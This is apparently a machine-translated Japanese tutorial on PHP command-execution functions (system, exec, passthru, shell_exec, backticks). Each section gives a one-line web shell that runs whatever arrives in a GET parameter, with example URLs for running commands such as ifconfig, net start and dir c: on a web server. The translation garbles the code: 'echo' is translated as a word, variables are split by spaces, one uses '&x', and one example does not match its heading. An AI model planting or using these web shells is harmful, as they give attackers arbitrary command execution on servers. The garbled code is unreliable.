次のphpコマンド実行関数は、外部のアプリケーションまたは関数を実行できます。
1.システムが外部アプリケーションを実行し、結果を出力します
原型:string system(String command、int&return_var)
commandは実行されるコマンドで、return_varは実行されたコマンドの実行後のステータス値を格納します。
<?php
$ cmd = $ _ GET ["c"];
エコー "<pre>";
system($ cmd);
エコー "</ pre>";
?>
ブラウザでこのPHPファイルにアクセスし、cmdコンテンツをnet startとして送信して、Webサーバーホストで有効になっているサービスを確認します。
http://xx.com/x.php?c=ifconfig
http://xx.com/x.php?c=net start
http://xx.com/x.php?c=コマンド
http://xx.com/x.php?c=dir c:
2. execが外部アプリケーションを実行します
原型:string exec(String command、array&output、int&return_var)
commandは実行されるコマンド、outputは実行コマンドによって出力される文字列の各行を取得すること、そしてreturn_varはコマンドの実行後にステータス値を格納します。
<?php
$ x = $ _ GET ["x"];
echo shell_exec(&x);
?>
3. passthruはUNIXシステムコマンドを実行し、元の出力を表示します
原型:void passthru(string command、int&return_var)
<?php
$ cmd = $ _ GET ["cmd"];
エコー "<pre>";
passthru($ cmd);
エコー "</ pre>";
?>
4. shell_execはシェルコマンドを実行し、出力文字列を返します
プロトタイプ:string shell_exec(stringコマンド)
<?php
$ cmd = $ _ GET ["cmd"];
エコー "<pre>";
shell_exec($ cmd);
エコー "</ pre>";
?>
5. "''"演算子:shell_exec関数と同じ関数